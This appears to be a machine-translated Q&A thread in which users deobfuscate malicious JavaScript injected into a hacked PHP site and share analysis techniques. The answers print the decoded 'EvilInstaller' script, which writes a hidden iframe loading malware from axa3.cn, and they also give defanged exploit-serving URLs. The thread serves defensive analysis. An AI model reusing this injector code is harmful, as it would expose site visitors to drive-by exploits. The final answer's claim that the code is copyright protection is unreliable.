これをどのようにリバースエンジニアリングしますか?
-
06-07-2019 - |
質問
JavaScriptのphpファイルの下部にあるコードがあります。 16進数をASCIIに変換した後、正規表現の置換、コードの実行など、奇妙なゆがみがたくさんあります...
実際に実行する前に実行していることを確認する方法はありますか?
コードはこちら:
解決
ステージごとに進むことができます-Javascriptであり、解釈されるため、独自の復号化プログラムである必要があります。コマンドラインJavascriptインタープリター( Firebug のコンソールなど)にアクセスできる場合、これはかなり簡単です。
私は見て、何が起こるか見てみましょう。
編集私はそれの大部分を理解しました-「argument.callee」を含むため、おそらく最終ステップは重要ではないようです。とにかく Pastebinでこれまでに持っているものを作成しました。
興味深いことに、これの最も難しい部分は、意味のない変数に適切な名前を付けることでした。それはクロスワード、つまり数独を思い出させました。そこでは、物事がどのように関連しているかを知っていますが、その従属部分が何であるかを決定するまで、明確に何かを割り当てることはできません。 :-)誰かがアルゴリズムを認識すると、パーツにもっと意味のある名前を付けることができると確信していますが、XORがたくさん行われているビットには、デフォルト名として残した2つの一時変数があります有用なコンテキストを提供するのに十分なコンテキストがわからないためです。
最終編集:「arguments.callee」ビットが簡単になったのは、皮肉にもデコードしている生のテキストを渡すことができることに気づいたときです(非常に巧妙なテクニックなので、もちろん、変数などの名前を変更すると、値が異なるため、通常の難読化解除は機能しません。とにかく、完全なスクリプトは次のとおりです。
function EvilInstaller(){};
EvilInstaller.prototype = {
getFrameURL : function() {
var dlh=document.location.host;
return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
},
path:'/elanguage.cn/',
cookieValue:1,
setCookie : function(name, value) {
var d= new Date();
d.setTime(new Date().getTime() + 86400000);
document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
},
install : function() {
if (!this.alreadyInstalled()) {
var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
try {
document.open();
document.write(s);
document.close();
}
catch(e) {
document.write("<html><body>" + s + "</body></html>")
}
this.setCookie(this.cookieName, this.cookieValue);
}
},
getRandString : function() {
var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
var o='';
for (var i=0;i<l;i++) {
o+=c.substr(Math.floor(Math.random()*c.length),1,1);
}
return o;
},
cookieName:'hedcfagb',
host:'axa3.cn',
alreadyInstalled : function() {
return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
}
};
var evil=new EvilInstaller();
evil.install();
基本的には、axa3.cnからマルウェアをロードするように見えます。ただし、このサイトはすでにISPによって疑われているため、実際にそこに何が存在し、一般的な悪さを超えているかはわかりません。
(もし興味があるなら、コードの変更バージョンの擬似VCSとしてPastebinを使用していたので、を見ることができます。最初の編集投稿の少し後の別の中間ステップ。難読化のさまざまな層とそれらの変化を見るのは非常に興味深かったです。)
他のヒント
手動でデコードすることもできますが、デコードの多くの段階があるとすぐに退屈になります。私は通常、各ステップを見るためにeval / writeを置き換えます:
<script>
window.__eval= window.eval;
window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
document.__write= document.write;
document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>
ただし、この特定のスクリプトは、window.evalを慎重に検査することにより、これに対して保護されています。 arguments.calleeの使用は、スクリプトが特定のブラウザーのFunction.toString形式(この場合はIEの形式)に依存することを意味します-他のブラウザーでは機能しません。代わりのeval関数に回避策を入れて、この場合にスクリプトに期待するものを与えることができますが、それでも少し苦痛です。
スクリプトデバッガーを使用してコードをステップ実行できます。この場合、ネットワークを使用しない仮想マシンで、コードを実行できるようにしたので、書き留めることができました。コードの実行後にdocument.body.innerHTMLを見ると、次の場所にある非表示のiframeが追加されていることがわかりました。
hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/
リダイレクト先:
hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php
IEで適切な条件で表示すると、多くのエクスプロイトが提供されます。 これらのURLにはアクセスしないでください。
要するに、あなたのサーバーはaxa3.cnによってハッキングされています。axa3.cnは、現在運用されている、中国がホストしているがロシアが運営する多くのマルウェアギャングの1つです。
perlスクリプトまたはエスケープされたすべての16進文字をasciiに変更する何かを書くだけですか?次に、正規表現を調べて、何が起こっているのかを確認し、perl / whateverスクリプトで同じことを行います。
firebugコンソールを試して、少しずつ分解できます。はじめに:
var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));
は、単に「評価」をマスクしています。 &quot; jQuery&quot;
として機能最も簡単なアプローチは、単純なcプログラムを使用して、エスケープされた16進文字を次のように読みやすいテキストに変換することです。
#include <stdio.h>
const char wtf[] = ""; // Really long string goes here
int main(void) {
::printf("%s\n", wtf);
}
this を生成します(フォーマットを追加しました)。同じように見える最後の部分を終了させます。
非常に慎重に-誰かがコードを難読化するためにこれほど多くの問題を抱えている場合、おそらく何らかの攻撃スクリプトである
ローカルのhtmlファイルを使用して実行結果を段階的に出力し、一度に1つずつ取得できます
これを行うと次のようになります:
var jQuery = "eval(" +
'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') +
");";
document.writeln('jQuery=' + jQuery);
結果は次のとおりです
jQuery=eval(window.eval);
crescentfreshが観察したように、変数jQueryをwindow.eval関数にバインドします。
次のセクションは明らかに16進コードで何かを評価しようとしているので、16進コード文字列がどのように見えるかを見てみましょう(プレゼンテーションのために手動で再フォーマットします):
function g4LZ(s9QNvAL)
{
function eDdqkXm(fX09)
{
var uaWG=0;
var jtoS=fX09.length;
var aCD6=0;
while(aCD6wQ5.length)
d971I=0;
if(f234SD>lIXy6md.length)
f234SD=0;
kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
}
eval(kyCyJ);
return kyCyJ=new String();
}
catch(e){}
}
g4LZ('%33...%5e');
そして最後にエスケープされた文字列があります。unescape(プレゼンテーション用に切り捨て)を使用して、そこに何があるか見てみましょう:
30248118GA0 * l:WRG:nt9 * 82:)7Z \ uF%* {...
率直に言って、私はこれを分解して退屈しているので、代わりにローカルhtmlファイルにダンプし、インターネットから切断し、firefoxを開き、javascriptを無効にし、firefoxにファイルをロードし、firebugをオンにしてページをリロードしました実行され、DOMが検査されます。
スクリプトは、SRCを[安全のために変更!]に設定してIFRAMEを作成します:
http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/
axa3.cnはマルウェアのブラックリストに登録されている中国のドメインです
その答えはわかりませんが、通常(この種のものを見た場合)、それらが配置されるため、その行が実行されない場合、すべてのスクリプトが停止します。なぜそうするのですか?彼らはスクリプト(または、通常はテンプレート)に著作権を印刷しています。
あなたが認識を与えるためにあなたがそのすべての問題に行くとき、彼らは著作権ライセンスを削除しているからです、あなたが「リバースエンジニア」であってもつまり、彼らはあなたのライセンスが正しいかどうかをチェックする他の方法を持っています(そして持っています)。 (これらのソフトウェアの一部は、実際に何らかのメッセージを送信します)。
しかし、あらゆる種類の炎を取得する前に、この種の証券に戻って元のコードを取得してそれを破ることに興味があることに同意します=)